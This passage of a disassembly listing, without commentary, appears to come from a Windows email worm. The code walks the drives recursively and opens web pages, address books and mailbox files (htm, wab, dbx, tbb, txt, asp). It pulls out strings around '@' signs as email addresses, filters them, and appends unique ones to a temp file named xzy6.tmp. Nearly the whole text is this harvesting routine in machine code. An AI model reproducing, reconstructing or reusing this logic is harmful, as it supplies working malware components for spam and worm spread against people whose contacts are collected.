sub_4A4379:loc_4A45D2j mov eax, dword_4A8DB0 add eax, 1 mov dword_4A8DB0, eax loc_4A458F: ; CODE XREF: sub_4A4379+207j mov ecx, dword_4A8DB0 movsx edx, byte_4A8DB8[ecx] test edx, edx jz short loc_4A45D4 mov eax, dword_4A8DB0 movsx ecx, byte_4A8DB8[eax] cmp ecx, 30h jl short loc_4A45D2 mov edx, dword_4A8DB0 movsx eax, byte_4A8DB8[edx] cmp eax, 39h jg short loc_4A45D2 mov ecx, dword_4A8DAC add ecx, 1 mov dword_4A8DAC, ecx loc_4A45D2: ; CODE XREF: sub_4A4379+236j ; sub_4A4379+248j jmp short loc_4A4582 ; --------------------------------------------------------------------------- loc_4A45D4: ; CODE XREF: sub_4A4379+225j mov esi, dword_4A8DAC imul esi, 64h push offset byte_4A8DB8 call dword_4A1060 mov ecx, eax mov eax, esi cdq idiv ecx mov dword_4A8DB0, eax push offset byte_4A8DB8 call dword_4A1060 cmp eax, 0Ch jle short loc_4A4619 cmp dword_4A8DB0, 32h jl short loc_4A4617 mov eax, 1 jmp loc_4A4795 ; --------------------------------------------------------------------------- loc_4A4617: ; CODE XREF: sub_4A4379+292j jmp short loc_4A4651 ; --------------------------------------------------------------------------- loc_4A4619: ; CODE XREF: sub_4A4379+289j push offset byte_4A8DB8 call dword_4A1060 cmp eax, 6 jl short loc_4A463E cmp dword_4A8DB0, 3Ch jl short loc_4A463C mov eax, 1 jmp loc_4A4795 ; --------------------------------------------------------------------------- loc_4A463C: ; CODE XREF: sub_4A4379+2B7j jmp short loc_4A4651 ; --------------------------------------------------------------------------- loc_4A463E: ; CODE XREF: sub_4A4379+2AEj cmp dword_4A8DB0, 46h jl short loc_4A4651 mov eax, 1 jmp loc_4A4795 ; --------------------------------------------------------------------------- loc_4A4651: ; CODE XREF: sub_4A4379:loc_4A4617j ; sub_4A4379:loc_4A463Cj ... push 1 call dword_4A1084 push 104h lea edx, [ebp+var_104] push edx call dword_4A1068 push 104h push offset aXzy6_tmp ; "\\xzy6.tmp" lea eax, [ebp+var_104] push eax call dword_4A1110 add esp, 0Ch push offset aR ; "r" lea ecx, [ebp+var_104] push ecx call dword_4A1100 add esp, 8 mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short loc_4A471A loc_4A46A9: ; CODE XREF: sub_4A4379:loc_4A4708j mov edx, [ebp+var_108] push edx push 104h lea eax, [ebp+var_104] push eax call dword_4A1118 add esp, 0Ch test eax, eax jz short loc_4A470A mov ecx, [ebp+var_108] mov edx, [ecx+0Ch] and edx, 10h test edx, edx jnz short loc_4A470A mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_104] push ecx call dword_4A10A8 add esp, 8 test eax, eax jz short loc_4A4708 mov edx, [ebp+var_108] push edx call dword_4A10A0 add esp, 4 xor eax, eax jmp loc_4A4795 ; --------------------------------------------------------------------------- loc_4A4708: ; CODE XREF: sub_4A4379+376j jmp short loc_4A46A9 ; --------------------------------------------------------------------------- loc_4A470A: ; CODE XREF: sub_4A4379+34Ej ; sub_4A4379+35Ej mov eax, [ebp+var_108] push eax call dword_4A10A0 add esp, 4 loc_4A471A: ; CODE XREF: sub_4A4379+32Ej push 104h lea ecx, [ebp+var_104] push ecx call dword_4A1068 push 104h push offset aXzy6_tmp ; "\\xzy6.tmp" lea edx, [ebp+var_104] push edx call dword_4A1110 add esp, 0Ch push offset aA_0 ; "a" lea eax, [ebp+var_104] push eax call dword_4A1100 add esp, 8 mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short loc_4A4793 mov ecx, [ebp+arg_0] push ecx push offset aS_1 ; "%s\n" mov edx, [ebp+var_108] push edx call dword_4A10A4 add esp, 0Ch mov eax, [ebp+var_108] push eax call dword_4A10A0 add esp, 4 loc_4A4793: ; CODE XREF: sub_4A4379+3EFj xor eax, eax loc_4A4795: ; CODE XREF: sub_4A4379+19j ; sub_4A4379+83j ... pop esi mov esp, ebp pop ebp retn sub_4A4379 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A479A proc near ; CODE XREF: sub_4A4379+136p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_4A47B0 ; --------------------------------------------------------------------------- loc_4A47A7: ; CODE XREF: sub_4A479A:loc_4A47FEj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4A47B0: ; CODE XREF: sub_4A479A+Bj mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 40h jz short loc_4A4800 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_4A4800 cmp [ebp+arg_4], 0 jz short loc_4A47FE mov edx, [ebp+arg_0] add edx, [ebp+var_4] movsx eax, byte ptr [edx] push eax call dword_4A10FC add esp, 4 test eax, eax jnz short loc_4A47FE mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov edx, [ebp+arg_4] mov al, [ecx] mov [edx], al mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx loc_4A47FE: ; CODE XREF: sub_4A479A+35j ; sub_4A479A+4Cj jmp short loc_4A47A7 ; --------------------------------------------------------------------------- loc_4A4800: ; CODE XREF: sub_4A479A+22j ; sub_4A479A+2Fj cmp [ebp+arg_4], 0 jz short loc_4A480C mov edx, [ebp+arg_4] mov byte ptr [edx], 0 loc_4A480C: ; CODE XREF: sub_4A479A+6Aj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_4A481F cmp [ebp+arg_8], 0 jnz short loc_4A4835 loc_4A481F: ; CODE XREF: sub_4A479A+7Dj cmp [ebp+arg_8], 0 jz short loc_4A4833 mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_8] push eax call dword_4A105C loc_4A4833: ; CODE XREF: sub_4A479A+89j jmp short loc_4A488B ; --------------------------------------------------------------------------- loc_4A4835: ; CODE XREF: sub_4A479A+83j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_4A4849 ; --------------------------------------------------------------------------- loc_4A4840: ; CODE XREF: sub_4A479A:loc_4A4883j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4A4849: ; CODE XREF: sub_4A479A+A4j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_4A4885 mov edx, [ebp+arg_0] add edx, [ebp+var_4] movsx eax, byte ptr [edx] push eax call dword_4A10FC add esp, 4 test eax, eax jnz short loc_4A4883 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov edx, [ebp+arg_8] mov al, [ecx] mov [edx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx loc_4A4883: ; CODE XREF: sub_4A479A+D1j jmp short loc_4A4840 ; --------------------------------------------------------------------------- loc_4A4885: ; CODE XREF: sub_4A479A+BAj mov edx, [ebp+arg_8] mov byte ptr [edx], 0 loc_4A488B: ; CODE XREF: sub_4A479A:loc_4A4833j mov esp, ebp pop ebp retn sub_4A479A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A488F proc near ; CODE XREF: sub_4A4BCC+192p var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0E4h mov [ebp+var_C], 0 mov [ebp+var_10], 0 mov [ebp+var_E0], 0 push offset aRb ; "rb" mov eax, [ebp+arg_0] push eax call dword_4A1100 add esp, 8 mov [ebp+var_E4], eax cmp [ebp+var_E4], 0 jnz short loc_4A48D8 xor eax, eax jmp loc_4A4BC8 ; --------------------------------------------------------------------------- loc_4A48D8: ; CODE XREF: sub_4A488F+40j ; sub_4A488F+83j mov ecx, [ebp+var_E4] push ecx call dword_4A10EC add esp, 4 mov [ebp+var_DC], eax cmp [ebp+var_DC], 0FFFFFFFFh jz short loc_4A4914 cmp [ebp+var_DC], 40h jnz short loc_4A4909 mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_4A4909: ; CODE XREF: sub_4A488F+6Fj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_4A48D8 ; --------------------------------------------------------------------------- loc_4A4914: ; CODE XREF: sub_4A488F+66j mov ecx, [ebp+var_E4] push ecx call dword_4A10A0 add esp, 4 push offset aRb ; "rb" mov edx, [ebp+arg_0] push edx call dword_4A1100 add esp, 8 mov [ebp+var_E4], eax cmp [ebp+var_E4], 0 jnz short loc_4A494C xor eax, eax jmp loc_4A4BC8 ; --------------------------------------------------------------------------- loc_4A494C: ; CODE XREF: sub_4A488F+B4j mov [ebp+var_4], 0 loc_4A4953: ; CODE XREF: sub_4A488F:loc_4A4BB1j mov eax, [ebp+var_E4] push eax call dword_4A10EC add esp, 4 mov [ebp+var_DC], eax cmp [ebp+var_DC], 0FFFFFFFFh jz loc_4A4BB6 mov ecx, [ebp+var_E0] cmp ecx, [ebp+var_C] jg loc_4A4BB6 cmp [ebp+var_DC], 40h jnz loc_4A4BB1 mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+var_E4] push eax call dword_4A10F0 add esp, 4 sub eax, 1 mov [ebp+var_E0], eax cmp [ebp+var_E0], 1 jl short loc_4A49CC mov ecx, [ebp+var_E0] sub ecx, 1 mov [ebp+var_E0], ecx loc_4A49CC: ; CODE XREF: sub_4A488F+12Cj push 0 mov edx, [ebp+var_E0] push edx mov eax, [ebp+var_E4] push eax call dword_4A10F4 add esp, 0Ch mov ecx, [ebp+var_E4] push ecx call dword_4A10EC add esp, 4 mov [ebp+var_DC], eax loc_4A49FB: ; CODE XREF: sub_4A488F:loc_4A4ABEj cmp [ebp+var_DC], 61h jl short loc_4A4A0D cmp [ebp+var_DC], 7Ah jle short loc_4A4A4C loc_4A4A0D: ; CODE XREF: sub_4A488F+173j cmp [ebp+var_DC], 41h jl short loc_4A4A1F cmp [ebp+var_DC], 5Ah jle short loc_4A4A4C loc_4A4A1F: ; CODE XREF: sub_4A488F+185j cmp [ebp+var_DC], 30h jl short loc_4A4A31 cmp [ebp+var_DC], 39h jle short loc_4A4A4C loc_4A4A31: ; CODE XREF: sub_4A488F+197j cmp [ebp+var_DC], 5Fh jz short loc_4A4A4C cmp [ebp+var_DC], 2Dh jz short loc_4A4A4C cmp [ebp+var_DC], 2Eh jnz short loc_4A4AC3 loc_4A4A4C: ; CODE XREF: sub_4A488F+17Cj ; sub_4A488F+18Ej ... cmp [ebp+var_E0], 0 jnz short loc_4A4A67 mov edx, [ebp+var_E4] push edx call dword_4A10F8 add esp, 4 jmp short loc_4A4AC3 ; --------------------------------------------------------------------------- loc_4A4A67: ; CODE XREF: sub_4A488F+1C4j mov eax, [ebp+var_E0] sub eax, 1 mov [ebp+var_E0], eax push 0 mov ecx, [ebp+var_E0] push ecx mov edx, [ebp+var_E4] push edx call dword_4A10F4 add esp, 0Ch mov eax, [ebp+var_E4] push eax call dword_4A10EC add esp, 4 mov [ebp+var_DC], eax cmp [ebp+var_DC], 0FFFFFFFFh jnz short loc_4A4ABE mov ecx, [ebp+var_E4] push ecx call dword_4A10A0 add esp, 4 loc_4A4ABE: ; CODE XREF: sub_4A488F+21Dj jmp loc_4A49FB ; --------------------------------------------------------------------------- loc_4A4AC3: ; CODE XREF: sub_4A488F+1BBj ; sub_4A488F+1D6j mov [ebp+var_8], 0 loc_4A4ACA: ; CODE XREF: sub_4A488F+303j mov edx, [ebp+var_E4] push edx call dword_4A10EC add esp, 4 mov [ebp+var_DC], eax cmp [ebp+var_DC], 0FFFFFFFFh jz loc_4A4B97 mov [ebp+var_4], 0 cmp [ebp+var_DC], 61h jl short loc_4A4B0D cmp [ebp+var_DC], 7Ah jg short loc_4A4B0D mov [ebp+var_4], 1 loc_4A4B0D: ; CODE XREF: sub_4A488F+26Cj ; sub_4A488F+275j cmp [ebp+var_DC], 41h jl short loc_4A4B26 cmp [ebp+var_DC], 5Ah jg short loc_4A4B26 mov [ebp+var_4], 1 loc_4A4B26: ; CODE XREF: sub_4A488F+285j ; sub_4A488F+28Ej cmp [ebp+var_DC], 30h jl short loc_4A4B3F cmp [ebp+var_DC], 39h jg short loc_4A4B3F mov [ebp+var_4], 1 loc_4A4B3F: ; CODE XREF: sub_4A488F+29Ej ; sub_4A488F+2A7j cmp [ebp+var_DC], 5Fh jz short loc_4A4B51 cmp [ebp+var_DC], 2Dh jnz short loc_4A4B58 loc_4A4B51: ; CODE XREF: sub_4A488F+2B7j mov [ebp+var_4], 1 loc_4A4B58: ; CODE XREF: sub_4A488F+2C0j cmp [ebp+var_DC], 40h jz short loc_4A4B6A cmp [ebp+var_DC], 2Eh jnz short loc_4A4B71 loc_4A4B6A: ; CODE XREF: sub_4A488F+2D0j mov [ebp+var_4], 1 loc_4A4B71: ; CODE XREF: sub_4A488F+2D9j cmp [ebp+var_4], 0 jnz short loc_4A4B79 jmp short loc_4A4B97 ; --------------------------------------------------------------------------- loc_4A4B79: ; CODE XREF: sub_4A488F+2E6j mov eax, [ebp+var_8] mov cl, byte ptr [ebp+var_DC] mov [ebp+eax+var_D8], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx jmp loc_4A4ACA ; --------------------------------------------------------------------------- loc_4A4B97: ; CODE XREF: sub_4A488F+258j ; sub_4A488F+2E8j mov eax, [ebp+var_8] mov [ebp+eax+var_D8], 0 lea ecx, [ebp+var_D8] push ecx call sub_4A42C0 add esp, 4 loc_4A4BB1: ; CODE XREF: sub_4A488F+FDj jmp loc_4A4953 ; --------------------------------------------------------------------------- loc_4A4BB6: ; CODE XREF: sub_4A488F+E1j ; sub_4A488F+F0j mov edx, [ebp+var_E4] push edx call dword_4A10A0 add esp, 4 xor eax, eax loc_4A4BC8: ; CODE XREF: sub_4A488F+44j ; sub_4A488F+B8j mov esp, ebp pop ebp retn sub_4A488F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4BCC proc near ; CODE XREF: sub_4A4D6A+1CDp var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10Ch mov [ebp+var_4], 0 mov [ebp+var_10C], 0FFFFFFFFh jmp short loc_4A4BF1 ; --------------------------------------------------------------------------- loc_4A4BE8: ; CODE XREF: sub_4A4BCC:loc_4A4C20j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4A4BF1: ; CODE XREF: sub_4A4BCC+1Aj mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] movsx edx, byte ptr [ecx+2Ch] test edx, edx jz short loc_4A4C22 cmp [ebp+var_4], 0FFh jge short loc_4A4C22 mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx ecx, byte ptr [eax+2Ch] cmp ecx, 2Eh jnz short loc_4A4C20 mov edx, [ebp+var_4] mov [ebp+var_10C], edx loc_4A4C20: ; CODE XREF: sub_4A4BCC+49j jmp short loc_4A4BE8 ; --------------------------------------------------------------------------- loc_4A4C22: ; CODE XREF: sub_4A4BCC+31j ; sub_4A4BCC+3Aj cmp [ebp+var_10C], 0 jge short loc_4A4C34 mov [ebp+var_108], 0 jmp short loc_4A4C61 ; --------------------------------------------------------------------------- loc_4A4C34: ; CODE XREF: sub_4A4BCC+5Dj push 103h mov eax, [ebp+var_10C] mov ecx, [ebp+arg_4] lea edx, [ecx+eax+2Dh] push edx lea eax, [ebp+var_108] push eax call dword_4A1054 lea ecx, [ebp+var_108] push ecx call dword_4A1128 loc_4A4C61: ; CODE XREF: sub_4A4BCC+66j mov [ebp+var_4], 1 push offset aHtm ; "htm" lea edx, [ebp+var_108] push edx call dword_4A1058 test eax, eax jnz short loc_4A4C83 jmp loc_4A4D4C ; --------------------------------------------------------------------------- loc_4A4C83: ; CODE XREF: sub_4A4BCC+B0j push offset aWab ; "wab" lea eax, [ebp+var_108] push eax call dword_4A1058 test eax, eax jnz short loc_4A4C9E jmp loc_4A4D4C ; --------------------------------------------------------------------------- loc_4A4C9E: ; CODE XREF: sub_4A4BCC+CBj push offset aHtml ; "html" lea ecx, [ebp+var_108] push ecx call dword_4A1058 test eax, eax jnz short loc_4A4CB9 jmp loc_4A4D4C ; --------------------------------------------------------------------------- loc_4A4CB9: ; CODE XREF: sub_4A4BCC+E6j push offset aDbx ; "dbx" lea edx, [ebp+var_108] push edx call dword_4A1058 test eax, eax jnz short loc_4A4CD1 jmp short loc_4A4D4C ; --------------------------------------------------------------------------- loc_4A4CD1: ; CODE XREF: sub_4A4BCC+101j push offset aTbb ; "tbb" lea eax, [ebp+var_108] push eax call dword_4A1058 test eax, eax jnz short loc_4A4CE9 jmp short loc_4A4D4C ; --------------------------------------------------------------------------- loc_4A4CE9: ; CODE XREF: sub_4A4BCC+119j push offset aAdb ; "adb" lea ecx, [ebp+var_108] push ecx call dword_4A1058 test eax, eax jnz short loc_4A4D01 jmp short loc_4A4D4C ; --------------------------------------------------------------------------- loc_4A4D01: ; CODE XREF: sub_4A4BCC+131j push offset aTxt ; "txt" lea edx, [ebp+var_108] push edx call dword_4A1058 test eax, eax jnz short loc_4A4D19 jmp short loc_4A4D4C ; --------------------------------------------------------------------------- loc_4A4D19: ; CODE XREF: sub_4A4BCC+149j push offset aAsp ; "asp" lea eax, [ebp+var_108] push eax call dword_4A1058 test eax, eax jnz short loc_4A4D31 jmp short loc_4A4D4C ; --------------------------------------------------------------------------- loc_4A4D31: ; CODE XREF: sub_4A4BCC+161j mov [ebp+var_4], 0 movsx ecx, [ebp+var_108] test ecx, ecx jnz short loc_4A4D4A mov [ebp+var_4], 0 loc_4A4D4A: ; CODE XREF: sub_4A4BCC+175j jmp short loc_4A4D66 ; --------------------------------------------------------------------------- loc_4A4D4C: ; CODE XREF: sub_4A4BCC+B2j ; sub_4A4BCC+CDj ... cmp [ebp+var_4], 1 jnz short loc_4A4D66 push 1 call dword_4A1084 mov eax, [ebp+arg_0] push eax call sub_4A488F add esp, 4 loc_4A4D66: ; CODE XREF: sub_4A4BCC:loc_4A4D4Aj ; sub_4A4BCC+184j mov esp, ebp pop ebp retn sub_4A4BCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4D6A proc near ; CODE XREF: sub_4A4D6A+1B5p ; sub_4A4F60+A4p var_25D = byte ptr -25Dh var_25C = byte ptr -25Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_114 = byte ptr -114h var_113 = byte ptr -113h var_112 = byte ptr -112h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 25Ch cmp [ebp+arg_4], 0 jle short loc_4A4D7F cmp [ebp+arg_0], 0 jnz short loc_4A4D89 loc_4A4D7F: ; CODE XREF: sub_4A4D6A+Dj mov eax, 1 jmp loc_4A4F5C ; --------------------------------------------------------------------------- loc_4A4D89: ; CODE XREF: sub_4A4D6A+13j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_4A4D9D mov eax, 1 jmp loc_4A4F5C ; --------------------------------------------------------------------------- loc_4A4D9D: ; CODE XREF: sub_4A4D6A+27j mov edx, [ebp+arg_0] push edx lea eax, [ebp+var_25C] push eax call sub_4A8916 add esp, 8 lea ecx, [ebp+var_25C] push ecx call sub_4A8910 add esp, 4 movsx edx, [ebp+eax+var_25D] cmp edx, 5Ch jz short loc_4A4DE0 push offset asc_4A2190 ; "\\" lea eax, [ebp+var_25C] push eax call sub_4A8904 add esp, 8 loc_4A4DE0: ; CODE XREF: sub_4A4D6A+60j push offset a_ ; "*.*" lea ecx, [ebp+var_25C] push ecx call sub_4A8904 add esp, 8 push 140h push 0 lea edx, [ebp+var_140] push edx call sub_4A890A add esp, 0Ch mov [ebp+var_144], 0 loc_4A4E14: ; CODE XREF: sub_4A4D6A+124j ; sub_4A4D6A+13Dj ... cmp [ebp+var_144], 0 jnz short loc_4A4E5A lea eax, [ebp+var_140] push eax lea ecx, [ebp+var_25C] push ecx call dword_4A1048 mov [ebp+var_144], eax cmp [ebp+var_144], 0FFFFFFFFh jnz short loc_4A4E4A mov [ebp+var_144], 0 loc_4A4E4A: ; CODE XREF: sub_4A4D6A+D4j cmp [ebp+var_144], 0 jnz short loc_4A4E58 jmp loc_4A4F44 ; --------------------------------------------------------------------------- loc_4A4E58: ; CODE XREF: sub_4A4D6A+E7j jmp short loc_4A4E77 ; --------------------------------------------------------------------------- loc_4A4E5A: ; CODE XREF: sub_4A4D6A+B1j lea edx, [ebp+var_140] push edx mov eax, [ebp+var_144] push eax call dword_4A104C test eax, eax jnz short loc_4A4E77 jmp loc_4A4F44 ; --------------------------------------------------------------------------- loc_4A4E77: ; CODE XREF: sub_4A4D6A:loc_4A4E58j ; sub_4A4D6A+106j movsx ecx, [ebp+var_114] cmp ecx, 2Eh jnz short loc_4A4EAC movsx edx, [ebp+var_113] test edx, edx jnz short loc_4A4E90 jmp short loc_4A4E14 ; --------------------------------------------------------------------------- loc_4A4E90: ; CODE XREF: sub_4A4D6A+122j movsx eax, [ebp+var_113] cmp eax, 2Eh jnz short loc_4A4EAC movsx ecx, [ebp+var_112] test ecx, ecx jnz short loc_4A4EAC jmp loc_4A4E14 ; --------------------------------------------------------------------------- loc_4A4EAC: ; CODE XREF: sub_4A4D6A+117j ; sub_4A4D6A+130j ... mov edx, [ebp+arg_0] push edx lea eax, [ebp+var_25C] push eax call dword_4A105C lea ecx, [ebp+var_25C] push ecx call sub_4A8910 add esp, 4 movsx edx, [ebp+eax+var_25D] cmp edx, 5Ch jz short loc_4A4EED push offset asc_4A2190 ; "\\" lea eax, [ebp+var_25C] push eax call sub_4A8904 add esp, 8 loc_4A4EED: ; CODE XREF: sub_4A4D6A+16Dj lea ecx, [ebp+var_114] push ecx lea edx, [ebp+var_25C] push edx call sub_4A8904 add esp, 8 mov eax, [ebp+var_140] and eax, 10h cmp eax, 10h jnz short loc_4A4F29 mov ecx, [ebp+arg_4] sub ecx, 1 push ecx lea edx, [ebp+var_25C] push edx call sub_4A4D6A add esp, 8 jmp short loc_4A4F3F ; --------------------------------------------------------------------------- loc_4A4F29: ; CODE XREF: sub_4A4D6A+1A5j lea eax, [ebp+var_140] push eax lea ecx, [ebp+var_25C] push ecx call sub_4A4BCC add esp, 8 loc_4A4F3F: ; CODE XREF: sub_4A4D6A+1BDj jmp loc_4A4E14 ; --------------------------------------------------------------------------- loc_4A4F44: ; CODE XREF: sub_4A4D6A+E9j ; sub_4A4D6A+108j cmp [ebp+var_144], 0 jz short loc_4A4F5A mov edx, [ebp+var_144] push edx call dword_4A1050 loc_4A4F5A: ; CODE XREF: sub_4A4D6A+1E1j xor eax, eax loc_4A4F5C: ; CODE XREF: sub_4A4D6A+1Aj ; sub_4A4D6A+2Ej mov esp, ebp pop ebp retn sub_4A4D6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4F60 proc near ; CODE XREF: sub_4A5390:loc_4A5393p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_107 = byte ptr -107h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 10Ch push 104h push 0 lea eax, [ebp+var_108] push eax call sub_4A890A add esp, 0Ch mov cl, [ebp+var_108] mov [ebp+var_4], cl push offset asc_4A2194 ; ":\\" lea edx, [ebp+var_107] push edx call sub_4A8916 add esp, 8 mov [ebp+var_108], 43h jmp short loc_4A4FB3 ; --------------------------------------------------------------------------- loc_4A4FA5: ; CODE XREF: sub_4A4F60+6Ej ; sub_4A4F60:loc_4A4FF9j ... mov al, [ebp+var_108] add al, 1 mov [ebp+var_108], al loc_4A4FB3: ; CODE XREF: sub_4A4F60+43j movsx ecx, [ebp+var_108] cmp ecx, 5Ah jge short loc_4A500E movsx edx, [ebp+var_108] movsx eax, [ebp+var_4] cmp edx, eax jnz short loc_4A4FD0 jmp short loc_4A4FA5 ; --------------------------------------------------------------------------- loc_4A4FD0: ; CODE XREF: sub_4A4F60+6Cj lea ecx, [ebp+var_108] push ecx call dword_4A1044 mov [ebp+var_10C], eax cmp [ebp+var_10C], 3 jz short loc_4A4FF7 cmp [ebp+var_10C], 6 jz short loc_4A4FF7 jmp short loc_4A4FF9 ; --------------------------------------------------------------------------- loc_4A4FF7: ; CODE XREF: sub_4A4F60+8Aj ; sub_4A4F60+93j jmp short loc_4A4FFB ; --------------------------------------------------------------------------- loc_4A4FF9: ; CODE XREF: sub_4A4F60+95j jmp short loc_4A4FA5 ; --------------------------------------------------------------------------- loc_4A4FFB: ; CODE XREF: sub_4A4F60:loc_4A4FF7j push 0Fh lea edx, [ebp+var_108] push edx call sub_4A4D6A add esp, 8 jmp short loc_4A4FA5 ; --------------------------------------------------------------------------- loc_4A500E: ; CODE XREF: sub_4A4F60+5Dj mov esp, ebp pop ebp retn sub_4A4F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A5012 proc near ; CODE XREF: sub_4A5390:loc_4A53C1p var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_1E0 = dword ptr -1E0h var_1DC = byte ptr -1DCh var_114 = dword ptr -114h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1E8h mov [ebp+var_C], 0 mov [ebp+var_114], 0 push 104h lea eax, [ebp+var_110] push eax call dword_4A1068 push 104h push offset aXzy6_tmp ; "\\xzy6.tmp" lea ecx, [ebp+var_110] push ecx call dword_4A1110 add esp, 0Ch mov [ebp+var_1E4], 0 push offset aRb ; "rb" lea edx, [ebp+var_110] push edx call dword_4A1100 add esp, 8 mov [ebp+var_1E8], eax cmp [ebp+var_1E8], 0 jnz short loc_4A508D xor eax, eax jmp loc_4A538C ; --------------------------------------------------------------------------- loc_4A508D: ; CODE XREF: sub_4A5012+72j ; sub_4A5012+BBj mov eax, [ebp+var_1E8] push eax call dword_4A10EC add esp, 4 mov [ebp+var_1E0], eax cmp [ebp+var_1E0], 0FFFFFFFFh jz short loc_4A50CF cmp [ebp+var_1E0], 40h jnz short loc_4A50C4 mov ecx, [ebp+var_114] add ecx, 1 mov [ebp+var_114], ecx loc_4A50C4: ; CODE XREF: sub_4A5012+A1j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx jmp short loc_4A508D ; --------------------------------------------------------------------------- loc_4A50CF: ; CODE XREF: sub_4A5012+98j mov eax, [ebp+var_1E8] push eax call dword_4A10A0 add esp, 4 push offset aRb ; "rb" lea ecx, [ebp+var_110] push ecx call dword_4A1100 add esp, 8 mov [ebp+var_1E8], eax cmp [ebp+var_1E8], 0 jnz short loc_4A510A xor eax, eax jmp loc_4A538C ; --------------------------------------------------------------------------- loc_4A510A: ; CODE XREF: sub_4A5012+EFj mov [ebp+var_4], 0 loc_4A5111: ; CODE XREF: sub_4A5012:loc_4A5375j mov edx, [ebp+var_1E8] push edx call dword_4A10EC add esp, 4 mov [ebp+var_1E0], eax cmp [ebp+var_1E0], 0FFFFFFFFh jz loc_4A537A mov eax, [ebp+var_1E4] cmp eax, [ebp+var_C] jg loc_4A537A cmp [ebp+var_1E0], 40h jnz loc_4A5375 mov ecx, [ebp+var_114] add ecx, 1 mov [ebp+var_114], ecx mov edx, [ebp+var_1E8] push edx call dword_4A10F0 add esp, 4 sub eax, 1 mov [ebp+var_1E4], eax cmp [ebp+var_1E4], 1 jl short loc_4A5190 mov eax, [ebp+var_1E4] sub eax, 1 mov [ebp+var_1E4], eax loc_4A5190: ; CODE XREF: sub_4A5012+16Dj push 0 mov ecx, [ebp+var_1E4] push ecx mov edx, [ebp+var_1E8] push edx call dword_4A10F4 add esp, 0Ch mov eax, [ebp+var_1E8] push eax call dword_4A10EC add esp, 4 mov [ebp+var_1E0], eax loc_4A51BF: ; CODE XREF: sub_4A5012:loc_4A5282j cmp [ebp+var_1E0], 61h jl short loc_4A51D1 cmp [ebp+var_1E0], 7Ah jle short loc_4A5210 loc_4A51D1: ; CODE XREF: sub_4A5012+1B4j cmp [ebp+var_1E0], 41h jl short loc_4A51E3 cmp [ebp+var_1E0], 5Ah jle short loc_4A5210 loc_4A51E3: ; CODE XREF: sub_4A5012+1C6j cmp [ebp+var_1E0], 30h jl short loc_4A51F5 cmp [ebp+var_1E0], 39h jle short loc_4A5210 loc_4A51F5: ; CODE XREF: sub_4A5012+1D8j cmp [ebp+var_1E0], 5Fh jz short loc_4A5210 cmp [ebp+var_1E0], 2Dh jz short loc_4A5210 cmp [ebp+var_1E0], 2Eh jnz short loc_4A5287 loc_4A5210: ; CODE XREF: sub_4A5012+1BDj ; sub_4A5012+1CFj ... cmp [ebp+var_1E4], 0 jnz short loc_4A522B mov ecx, [ebp+var_1E8] push ecx call dword_4A10F8 add esp, 4 jmp short loc_4A5287 ; --------------------------------------------------------------------------- loc_4A522B: ; CODE XREF: sub_4A5012+205j mov edx, [ebp+var_1E4] sub edx, 1 mov [ebp+var_1E4], edx push 0 mov eax, [ebp+var_1E4] push eax mov ecx, [ebp+var_1E8] push ecx call dword_4A10F4 add esp, 0Ch mov edx, [ebp+var_1E8] push edx call dword_4A10EC add esp, 4 mov [ebp+var_1E0], eax cmp [ebp+var_1E0], 0FFFFFFFFh jnz short loc_4A5282 mov eax, [ebp+var_1E8] push eax call dword_4A10A0 add esp, 4 